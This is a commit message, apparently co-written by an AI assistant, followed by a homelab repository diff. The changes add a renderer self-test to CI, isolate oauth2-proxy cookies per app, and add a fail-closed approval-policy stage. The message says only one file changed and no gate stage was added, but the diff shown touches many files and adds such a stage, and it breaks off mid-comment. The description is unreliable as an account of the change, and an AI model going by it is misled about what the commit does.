fix(ci): catalog/render.py's 106 selftest assertions never ran in the gate

`catalog/render.py --selftest` executes 106 assertions on the renderer's output
contract. Nothing in ci/ or .gitea/ had ever invoked it — grepped and confirmed —
so all 106 were dev-time only, and the merge gate could not tell a sound renderer
from a gutted one. Recorded as the top follow-up of
decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md.

`ci/render-golden.sh` now runs it and exits 1 when it fails. One file, six lines
of invocation; the rest is the rationale comment.

WHY HERE. The lead was auditability-proofs-producible/check.sh:291, which drives
conformance/lib/{record_run,status}.py --selftest "because nothing else drives
them". That is the wrong hook: the check serves R-SEC-03 and its subject is the
evidence chain — can a forged or stale run become an audit proof? The renderer is
not in that chain, and hanging it there would make the check's name, its intent
annotation and its requirement mapping untrue. This stage's subject already IS
catalog/render.py, so the renderer's own contract test belongs in it.

The two assertions are independent, and that is the point: render-golden catches
golden-vs-renderer drift but is satisfied by ANY renderer whose output was
re-rendered — including one that just lost a contract invariant and had all ten
goldens regenerated in the same commit. That is precisely the hole the follow-up
named. The selftest catches it; render-golden cannot.

It runs before the empty-catalog exit 3 because the selftest renders synthetic
ServiceDefinitions in memory and is catalog-independent — an empty catalog must
not be able to skip it. Failure is a hard rc 1, never a skip: the renderer is
source in this repo, so once python3 and render.py are both present (asserted
above it) there is no legitimate environmental cause for "could not run".

PROVEN TO FAIL, not merely to pass. Against mutated COPIES of the renderer via
the stage's existing RENDER_PY override, so catalog/render.py — another branch's
file this session — was never touched:
  * deleting the --cookie-name emission (reverting PR #28's fleet-wide cookie
    fix) -> stage rc 1;
  * OAUTH2_COOKIE_REFRESH 2m30s -> 10m -> stage rc 1 with the named assertion
    "parses to 600.0s, which is not inside (0, 300s)" — one of the two flags the
    cookie entry recorded as UNGATED, and one render-golden's diff would miss.

AND PROVEN TO PROPAGATE, in the pinned toolbox: selftest rc 1 -> stage
render-golden FAIL -> `MERGE GATE: BLOCKED`, gate.sh rc 1. Worth provoking: this
repo flattens exit codes, and .gitea/workflows/gate.yml:138 runs
`./ci/gate.sh || [ "$?" -eq 3 ]`, so a failure degraded to a skip would be
swallowed by CI.

render.py itself is unchanged. No conformance/ path is touched, no gate stage is
added, nothing is deployed by this.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

.gitea/workflows/gate.yml

@@ -131,6 +131,10 @@ jobs:
           # merging. Green here means the token resolved and the live Gitea matched the
           # declaration in infra/gitea/expected-branch-protection.json.
           REQUIRE_GITEA_SETTINGS: "true"
+          # ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
+          # PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
+          GITHUB_EVENT_NAME: ${{ github.event_name }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

CLAUDE.md

@@ -14,7 +14,28 @@ There is no other path. Specifically:
 
 - **Do not `git push origin main`.**
 - **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
-- **Do not merge your own PR.** A human approves and clicks merge.
+- **Do not merge your own PR.** See the approval model below — and either way, the merge is
+  someone else's action, never yours.
+
+### Who approves
+
+**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
+branch requires no human approval for one. That is a deliberate transfer of authority, on the
+operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
+good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
+add a human.
+
+**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
+admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
+approving review from someone who is not its author. The reason is narrow and structural — **a
+change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
+the weakened check. Everything else merges on green.
+
+The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
+sensitive path, so the policy cannot be widened or narrowed without a human.
+
+That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
+missing credential is a lock-out, here a skip would be a bypass.
 - **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
   anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
 

apps/wave-0/jackett.yaml

@@ -100,11 +100,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://jackett.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_jackett
+        - --cookie-domain=jackett.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -125,6 +128,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-0/pihole.yaml

@@ -108,11 +108,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://pihole.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_pihole
+        - --cookie-domain=pihole.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -133,6 +136,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-0/qbittorrent.yaml

@@ -171,11 +171,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://qbittorrent.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_qbittorrent
+        - --cookie-domain=qbittorrent.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -196,6 +199,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-1/radarr.yaml

@@ -153,11 +153,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://radarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_radarr
+        - --cookie-domain=radarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +181,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

apps/wave-1/sonarr.yaml

@@ -153,11 +153,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +181,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

catalog/render.py

@@ -133,6 +133,36 @@ OAUTH2_PROXY_IMAGE = "quay.io/oauth2-proxy/oauth2-proxy:v7.8.1"
 OAUTH2_PROXY_PORT = 4180
 KEYCLOAK_ISSUER = f"https://keycloak.{ZONE}/realms/homelab"
 
+# --- session lifetime -----------------------------------------------------------------
+# Keycloak's `homelab` realm issues access tokens with a 300-SECOND lifetime. MEASURED on a
+# live session, not read off a config page: `expires - created = 300.000s` exactly, with
+# `refresh_token:true` on the same line — so the proxy HOLDS a refresh token it was never
+# told to spend. `--cookie-refresh` defaults to 0, which the v7.8.1 binary's own help spells
+# "0 to disable", so every one of these sidecars dropped its session five minutes after
+# sign-in and sent the user back to Keycloak. Refresh at HALF the lifetime: two chances to
+# renew before expiry, so one failed refresh is not an immediate logout.
+#
+# NOTE for anyone tempted to add `--session-cookie-minimal` to shrink the cookie: it is
+# MUTUALLY EXCLUSIVE with this (provoked: "cookie_refresh > 0 requires oauth tokens in
+# sessions"). Dropping --pass-access-token is a least-privilege argument, not a size fix.
+OAUTH2_ACCESS_TOKEN_LIFETIME_S = 300
+OAUTH2_COOKIE_REFRESH = "2m30s"
+
+# --- metrics --------------------------------------------------------------------------
+# oauth2-proxy serves /metrics only when --metrics-address is given; with it absent the
+# listener never starts, so NO per-app sidecar was scrapable at all (measured: `ports` was
+# `['http']` on all six). 44180 is the platform's existing convention, not a guess — the
+# SHARED proxy already runs `--metrics-address=0.0.0.0:44180` with a `metrics` port and 2
+# ready endpoints. The flag is confirmed present in the PINNED v7.8.1 binary (`--help`),
+# which matters because the shared proxy is on v7.15.3 and could not have vouched for it.
+#
+# THIS IS THE PREREQUISITE ONLY, AND IT IS NOT YET SCRAPED. A container port is not a
+# Service port: these sidecars' Services expose the app port and :4180, and each namespace's
+# default-deny baseline has `ingress: []`, so Prometheus can neither resolve nor reach this
+# port until a Service port (or PodMonitor), a monitoring-ingress allow and a ServiceMonitor
+# are added. Do not read this flag as "metrics are working".
+OAUTH2_PROXY_METRICS_PORT = 44180
+
 
 # =============================================================================
 # Defaults (renderer-contract.md "Default posture") — materialize BEFORE mapping.
@@ -971,7 +1001,11 @@ def _oauth2_sidecar_container(s: dict) -> dict:
     auth.group (R-IDP-06: a valid session is not enough — the user must be in an authorized group,
     else /oauth2 returns 403). client-id/secret + cookie-secret come by name from the SOPS-encrypted
     `<app>-oauth2-proxy` Secret (R-IDP-04). Single provider => --skip-provider-button 302s straight
-    to Keycloak. The sidecar->app hop is pod-local (127.0.0.1) and not subject to network policy."""
+    to Keycloak. The sidecar->app hop is pod-local (127.0.0.1) and not subject to network policy.
+
+    --cookie-name and --cookie-domain are DERIVED per app (see the block comment on those two
+    args): every instance holds a different cookie-secret, so sharing one cookie name across the
+    zone makes the instances evict each other's sessions."""
     route = s["ingressRoutes"][0]
     host = route["host"]
     upstream_port = route["port"]
@@ -991,11 +1025,64 @@ def _oauth2_sidecar_container(s: dict) -> dict:
     args += [
         "--skip-provider-button=true",
         f"--redirect-url=https://{host}/oauth2/callback",
-        f"--cookie-domain=.{ZONE}",
+        # ── COOKIE ISOLATION (fleet fix 2026-09-30; crafty's 2026-09-29 fix, generalized) ──────
+        # EVERY oauth2-proxy on this platform — this sidecar, its four siblings, and the SHARED
+        # forward-auth proxy (platform/oauth2-proxy) — is an INDEPENDENT instance holding its OWN
+        # `cookie-secret`. Measured on prod 2026-09-30: seven `*-oauth2-proxy` Secrets, seven
+        # DISTINCT cookie-secret values, so no instance can decrypt any other's cookie.
+        #
+        # Left at oauth2-proxy's DEFAULTS (`_oauth2_proxy` / `_oauth2_proxy_csrf`) and scoped to
+        # `.${BASE_DOMAIN}`, the browser therefore keeps ONE cookie pair for ALL of them:
+        # whichever proxy authenticates last OVERWRITES every other's session. The loser logs
+        # "No valid authentication in request" and bounces to Keycloak, which — the SSO session
+        # still being live — redirects straight back and overwrites the cookie again. The
+        # user-visible symptom is "I signed into Keycloak but I'm still not signed in", and it
+        # sends you hunting in Keycloak, where nothing is wrong. Silent, intermittent, and
+        # misattributed: the exact shape this repo keeps getting burned by.
+        #
+        # WHY IT WAS *INTERMITTENT*, AND WHY RELOADING NEVER HELPED. The loser does not merely
+        # fail to read the cookie — it calls ClearSession, which EXPIRES the cookie on its own
+        # --cookie-domain, i.e. the whole zone. And the *arr UIs poll: measured on prod, radarr's
+        # rejections are `/api/v3/command`, `/api/v3/queue/details` and `/signalr/negotiate`,
+        # 155 of them in 12h against 1 successful auth. Every poll carrying a cookie radarr
+        # cannot decrypt calls ClearSession again — so A LEFT-OPEN RADARR TAB DELETES JACKETT'S
+        # COOKIE EVERY FEW SECONDS, from another namespace, with no user action at all. That is
+        # the intermittency, and it is why signing in again fixed nothing for longer than the
+        # gap between two polls. Host-scoping the cookie (below) is what contains the blast
+        # radius of a ClearSession to the app that issued it.
+        #
+        # DERIVED, NOT LISTED. Both flags come from the ServiceDefinition (`s['name']` and the
+        # route host), so a NEW forward-auth app is isolated the moment it is onboarded. A
+        # per-service table would leave the next app defaulting into the collision, which is how
+        # twelve ServiceMonitors acquired one identical wrong port name in a single edit.
+        # conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct asserts both properties
+        # over the WHOLE tree and asserts THIS function derives rather than lists.
+        #
+        #   --cookie-name   a unique name per instance, so two sessions cannot alias at all.
+        #                   This is the fix; the one below is defence in depth.
+        #   --cookie-domain HOST-scoped. A per-app reverse proxy has no reason to broadcast its
+        #                   session cookie to every other host in the zone — a zone-wide cookie
+        #                   is transmitted to every sibling app on `.${BASE_DOMAIN}`, so any
+        #                   FUTURE name collision would again be platform-wide instead of
+        #                   contained. The SHARED forward-auth proxy keeps the wide scope,
+        #                   because cross-host forward-auth is precisely its job.
+        #
+        # --whitelist-domain deliberately stays ZONE-WIDE: it governs permitted post-login
+        # REDIRECT targets, not cookie scope. Narrowing it here would break the sign-in bounce.
+        f"--cookie-name=_oauth2_proxy_{s['name']}",
+        f"--cookie-domain={host}",
         f"--whitelist-domain=.{ZONE}",
         "--cookie-secure=true",
+        # Spend the refresh token the proxy already holds, at half the 300s access-token
+        # lifetime. Without this the session dies 5 minutes after sign-in. See
+        # OAUTH2_ACCESS_TOKEN_LIFETIME_S above for the measurement and the
+        # --session-cookie-minimal incompatibility.
+        f"--cookie-refresh={OAUTH2_COOKIE_REFRESH}",
         "--pass-access-token=true",
         "--set-xauthrequest=true",
+        # Start the /metrics listener. Prerequisite only — not yet reachable by Prometheus;
+        # see OAUTH2_PROXY_METRICS_PORT above for exactly what is still missing.
+        f"--metrics-address=0.0.0.0:{OAUTH2_PROXY_METRICS_PORT}",
     ]
     secret = f"{s['name']}-oauth2-proxy"
     return {
@@ -1017,7 +1104,10 @@ def _oauth2_sidecar_container(s: dict) -> dict:
                 "valueFrom": {"secretKeyRef": {"name": secret, "key": "cookie-secret"}},
             },
         ],
-        "ports": [{"name": "http", "containerPort": OAUTH2_PROXY_PORT, "protocol": "TCP"}],
+        "ports": [
+            {"name": "http", "containerPort": OAUTH2_PROXY_PORT, "protocol": "TCP"},
+            {"name": "metrics", "containerPort": OAUTH2_PROXY_METRICS_PORT, "protocol": "TCP"},
+        ],
         "resources": {
             "requests": {"cpu": "25m", "memory": "64Mi"},
             "limits": {"memory": "128Mi"},
@@ -2475,6 +2565,86 @@ def _selftest() -> int:
         not any(a.startswith("--ssl-upstream-insecure-skip-verify") for a in side["args"]),
         "http upstream must NOT skip TLS verify (that flag is only for crafty's self-signed https)",
     )
+    # COOKIE ISOLATION. Every oauth2-proxy instance holds its own cookie-secret, so two instances
+    # sharing a cookie NAME on a shared DOMAIN evict each other's sessions silently. Both flags
+    # must be DERIVED from this service, not defaulted and not listed.
+    check(
+        "--cookie-name=_oauth2_proxy_fa" in side["args"],
+        "sidecar must declare a cookie name DERIVED from the service name — the oauth2-proxy "
+        "default (_oauth2_proxy) is shared with every other instance on the zone",
+    )
+    check(
+        "--cookie-domain=fa.home.keithjackson.dev" in side["args"],
+        "sidecar cookie-domain must be HOST-scoped (the app's own host), not zone-wide",
+    )
+    check(
+        f"--whitelist-domain=.{ZONE}" in side["args"],
+        "whitelist-domain must stay ZONE-wide — it governs post-login redirect targets, not "
+        "cookie scope; narrowing it breaks the sign-in bounce",
+    )
+    # SESSION LIFETIME. `--cookie-refresh` must be present AND strictly shorter than the
+    # measured 300s access-token lifetime, or the session dies mid-use. Asserted as a parsed
+    # duration rather than a string match, so "2m30s" -> "150s" -> "2.5m" stays green and a
+    # silent widening past the token lifetime does not.
+    refresh = next((a.split("=", 1)[1] for a in side["args"]
+                    if a.startswith("--cookie-refresh=")), None)
+    check(refresh is not None,
+          "sidecar must set --cookie-refresh; the v7.8.1 default is 0 = DISABLED, so the "
+          "session dies when the access token expires and the user is bounced to Keycloak")
+    if refresh is not None:
+        _m = re.fullmatch(r"(?:(\d+)m)?(?:(\d+(?:\.\d+)?)s)?", refresh)
+        _secs = (int(_m.group(1) or 0) * 60 + float(_m.group(2) or 0)) if _m else -1
+        check(0 < _secs < OAUTH2_ACCESS_TOKEN_LIFETIME_S,
+              f"--cookie-refresh={refresh} parses to {_secs}s, which is not inside "
+              f"(0, {OAUTH2_ACCESS_TOKEN_LIFETIME_S}s). A refresh at or past the access-token "
+              f"lifetime never renews in time, which is the same logout it was added to stop")
+    check(
+        not any(a.startswith("--session-cookie-minimal") for a in side["args"]),
+        "--session-cookie-minimal is MUTUALLY EXCLUSIVE with --cookie-refresh "
+        "('cookie_refresh > 0 requires oauth tokens in sessions') — the proxy refuses to start",
+    )
+    # METRICS. The listener does not exist unless the flag is given, and the port must be
+    # DECLARED or nothing can ever select it (neither a Service port nor a PodMonitor).
+    check(
+        f"--metrics-address=0.0.0.0:{OAUTH2_PROXY_METRICS_PORT}" in side["args"],
+        "sidecar must start the /metrics listener; without --metrics-address it is not merely "
+        "unscraped, it is not serving at all",
+    )
+    check(
+        [p["name"] for p in side["ports"]] == ["http", "metrics"]
+        and {p["containerPort"] for p in side["ports"]}
+        == {OAUTH2_PROXY_PORT, OAUTH2_PROXY_METRICS_PORT},
+        "sidecar must declare BOTH the http and metrics container ports — an undeclared port "
+        "cannot be named by a Service port or a PodMonitor, so the flag alone is inert",
+    )
+    # Two forward-auth apps must not be able to collide. Renders a SECOND one and compares, so a
+    # future refactor to a constant (or to a per-service table with a copy-paste slip) fails here
+    # rather than silently in a browser six weeks later.
+    fa2_side = next(
+        c
+        for c in next(
+            d[1]
+            for d in render(
+                {
+                    "name": "fa2",
+                    "source": {"image": "a:1"},
+                    "ingressRoutes": [{"host": "fa2.home.keithjackson.dev", "port": 9118}],
+                    "auth": {"mode": "forward-auth", "groups": ["media-users"]},
+                }
+            )
+            if d[1]["kind"] == "Deployment"
+        )["spec"]["template"]["spec"]["containers"]
+        if c["name"] == "oauth2-proxy"
+    )
+
+    def _cookie_name(container):
+        return next(a for a in container["args"] if a.startswith("--cookie-name="))
+
+    check(
+        _cookie_name(side) != _cookie_name(fa2_side),
+        "two forward-auth apps rendered IDENTICAL cookie names — they would overwrite each "
+        "other's session on every sign-in (the 2026-09-29 crafty defect, fleet-wide)",
+    )
     check(
         side["env"][0]["valueFrom"]["secretKeyRef"]["name"] == "fa-oauth2-proxy",
         "sidecar creds must come by name from the per-app <app>-oauth2-proxy Secret (R-IDP-04)",

ci/Makefile

@@ -35,6 +35,9 @@ decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
+	@./approval-policy.sh
+
 gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
 	@./gitea-settings.sh
 

ci/approval-policy.sh

@@ -0,0 +1,117 @@
+#!/usr/bin/env bash
+# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
+# what the pipeline verifies or the security posture it rests on.
+#
+# THE POLICY, and why it is shaped this way.
+#
+# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
+# pipeline is not good enough to be trusted for this, then it is not good enough to do its
+# intended job and needs to be improved. Manual approvers should only be for architecturally or
+# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
+#
+# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
+# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
+# A PR that weakens a check would be approved by the weakened check. The same applies to the
+# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
+# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
+# requires a human for them.
+#
+# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
+# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
+# policy cannot be widened without a human.
+#
+# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
+# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
+# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
+# BYPASS, not a gap. So: cannot determine -> BLOCK.
+#
+# EXIT CODES
+#   0  no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and a
+#      non-author APPROVED review is present
+#   1  sensitive paths touched without such a review, OR the policy could not be evaluated
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: approval policy (CI approves; humans approve changes to CI)"
+
+DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
+[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
+require_tool jq
+require_tool python3
+
+# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
+# by branch protection, so this is genuinely not-applicable rather than a skipped check.
+EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
+PR="${PR_NUMBER:-}"
+if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
+  ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
+  exit 0
+fi
+
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+if [ -z "$TOKEN" ]; then
+  err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
+  err "  BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
+  summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
+  exit 1
+fi
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
+PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
+REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
+for v in FILES_JSON PR_JSON REVIEWS_JSON; do
+  jq -e . >/dev/null 2>&1 <<<"${!v}" || {
+    err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
+    summary "- approval-policy: **BLOCKED — Gitea unreadable**"
+    exit 1; }
+done
+
+AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
+[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
+
+# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
+# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
+# never read. Caught before shipping, by running it.
+SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
+import json, os, fnmatch
+decl = json.load(open(os.environ["DECL"]))
+files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
+pats = decl["sensitive_paths"]
+hits = sorted({f for f in files for p in pats
+               if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
+print("\n".join(hits))
+')"
+
+if [ -z "$SENSITIVE" ]; then
+  ok "no architecturally/security-relevant paths touched — the GATE is the approver."
+  summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
+  exit 0
+fi
+
+echo "  sensitive paths touched:" >&2
+printf '    %s\n' $SENSITIVE >&2
+
+APPROVER="$(jq -r --arg a "$AUTHOR" \
+  '[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
+  <<<"$REVIEWS_JSON")"
+
+if [ -n "$APPROVER" ]; then
+  ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
+  summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
+  exit 0
+fi
+
+err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
+err "  review from anyone other than its author ('${AUTHOR}')."
+err "  A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
+err "  honestly approve for itself. Get a human review, or move the change out of:"
+printf '    %s\n' $SENSITIVE >&2
+err "  The list lives in infra/gitea/approval-policy.json, with a reason per entry."
+summary "- approval-policy: **BLOCKED — sensitive paths need a non-author approval**"
+exit 1

ci/gate.sh

@@ -113,6 +113,7 @@ run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage approval-policy "${CI_DIR}/approval-policy.sh"
 run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
@@ -190,6 +191,20 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
+# is the approver, per operator intent. This stage is the single exception: a change to the
+# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
+# cannot honestly be approved BY the thing it changes, so those paths still need a human.
+#
+# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
+# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
+# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
+case "${OUTCOME[approval-policy]}" in
+  fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
+  skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
+  pass) ok  "approval-policy: green" ;;
+esac
+
 # gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
 # runner registration). A FAIL is real drift and always blocks -- that is the whole point.
 # A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect

ci/render-golden.sh

@@ -1,5 +1,10 @@
 #!/usr/bin/env bash
-# ci/render-golden.sh — Stage: render==golden reproducibility gate.
+# ci/render-golden.sh — Stage: the renderer is trustworthy.
+#   (1) catalog/render.py passes its OWN output-contract self-test, and
+#   (2) every committed apps/ golden reproduces byte-for-byte from the canonical render.
+# Two independent assertions about one subject, catalog/render.py. (1) was added
+# 2026-10-01 because nothing in ci/ or .gitea/ had ever invoked `--selftest`; see the
+# block above the invocation for why it lives here and not in a conformance check.
 #
 # WHY: the committed apps/ tree is a set of GOLDENS produced by ONE canonical
 # invocation of catalog/render.py. If a golden is hand-edited, or a catalog
@@ -54,6 +59,54 @@ if [ ! -f "$RENDER_PY" ]; then
   summary "- render-golden: **SKIPPED** (renderer missing)"
   exit 3
 fi
+# --- The renderer's OWN self-test, before anything is compared ---------------
+# `catalog/render.py --selftest` is ~106 executed assertions on the renderer's output
+# contract (default-deny covers both directions, the Kyverno namespace hook label, a valid
+# auth-mode, the oauth2-proxy sidecar's cookie-name/-domain/-refresh flags, the
+# placeholder-substitution guard, the observability refusals...). Until now NOTHING in ci/
+# or .gitea/ invoked it — measured by grep on 2026-09-30 and recorded as the top follow-up
+# of decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md — so every one of those
+# assertions was dev-time only and a merge gate could not tell a sound renderer from a
+# gutted one.
+#
+# WHY HERE, AND NOT IN A CONFORMANCE CHECK. The lead was
+# conformance/tests/l0-static/auditability-proofs-producible/check.sh, which drives
+# `conformance/lib/{record_run,status}.py --selftest` "because nothing else drives them".
+# That loop is NOT the right hook: that check serves R-SEC-03 and its subject is the
+# EVIDENCE CHAIN (can a forged or stale run become a proof?). The renderer is not part of
+# that chain, and hanging it there would make the check's name and its requirement mapping
+# a lie. This stage's subject already IS catalog/render.py — it exists to assert that the
+# renderer's output is trustworthy — so the renderer's own contract test belongs in it.
+#
+# It runs BEFORE the catalog/empty-catalog exit-3 below on purpose: the self-test is
+# deterministic and catalog-independent (it renders synthetic ServiceDefinitions in
+# memory), so an empty catalog must not be able to skip it.
+#
+# render-golden and the self-test are INDEPENDENT assertions, which is why both are needed:
+# render-golden catches golden-vs-renderer drift but is satisfied by ANY renderer whose
+# output was re-rendered, including one that just lost a contract invariant and had all ten
+# goldens regenerated in the same commit. The self-test catches exactly that.
+#
+# FAILURE IS A HARD FAIL, NOT A SKIP: the renderer is source in this repo, so "could not
